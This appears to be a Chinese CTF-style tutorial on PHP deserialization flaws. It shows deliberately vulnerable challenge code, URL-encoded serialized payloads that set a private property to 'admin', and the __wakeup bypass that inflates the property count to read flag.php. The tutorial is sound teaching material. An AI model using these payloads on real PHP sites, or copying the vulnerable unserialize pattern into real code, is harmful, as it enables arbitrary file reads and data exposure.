赞
踩
require_once('flag.php');
highlight_file(__FILE__);
class A{
private $user = 'test';
function __destruct(){
if ($this->user == 'admin') {
var_dump($GLOBALS);
}
}
}
$data = $_GET['data'];
unserialize($data);
当我们反序列化后user为admin时输出$GLOBALS,输出当前php页面全局变量
我们构造payload如下
class A{
private $user = 'admin';
}
echo urlencode(serialize(new A()));
运行获得url编码序列化后的值为O%3A1%3A%22A%22%3A1%3A%7Bs%3A7%3A%22%00A%00user%22%3Bs%3A5%3A%22admin%22%3B%7D
将其赋值给data后即可输出全局变量
在反反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup( )的执行。
影响版本
php5.0.0 ~ php5.6.25
php7.0.0 ~ php7.0.10
php源码
highlight_file(__FILE__);
class A{
private $filename = 'test.txt';
public function __wakeup() {
$this->filename = 'test.txt';
}
public function __destruct() {
echo file_get_contents($this->filename);
}
}
$data = $_GET['data'];
unserialize($data);
php语言的特性为在反序列化时,先执行__wakeup()魔术方法,才会执行__destruct()魔术方法
也就是说当我们使用payload
class A{
private $filename = 'flag.php';
}
echo urlencode(serialize(new A()));
O%3A1%3A%22A%22%3A1%3A%7Bs%3A11%3A%22%00A%00filename%22%3Bs%3A8%3A%22flag.php%22%3B%7D
去反序列化时
结果为
可以发现我们在反序列化时修改的$filename的值在__wakeup()函数时由flag.php修改为了test.txt
绕过__wakeup()函数时将对象属性个数的值大于真实的属性个数时即可绕过
即O%3A1%3A%22A%22%3A1%3A%7Bs%3A11%3A%22%00A%00filename%22%3Bs%3A8%3A%22flag.php%22%3B%7D
改为,只需要将对象个数大于1即可,2,3,4等等都行,这里我使用2
O%3A1%3A%22A%22%3A2%3A%7Bs%3A11%3A%22%00A%00filename%22%3Bs%3A8%3A%22flag.php%22%3B%7D
即可获取想要的文件的内容
如最开始
在构造payload时
将所得的payload进行url编码即可
PHP中的Session经序列化后存储,读取时再进行反序列化。
相关配置:
session.save_path="" //设置session的存储路径
session.save_handler="" //设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。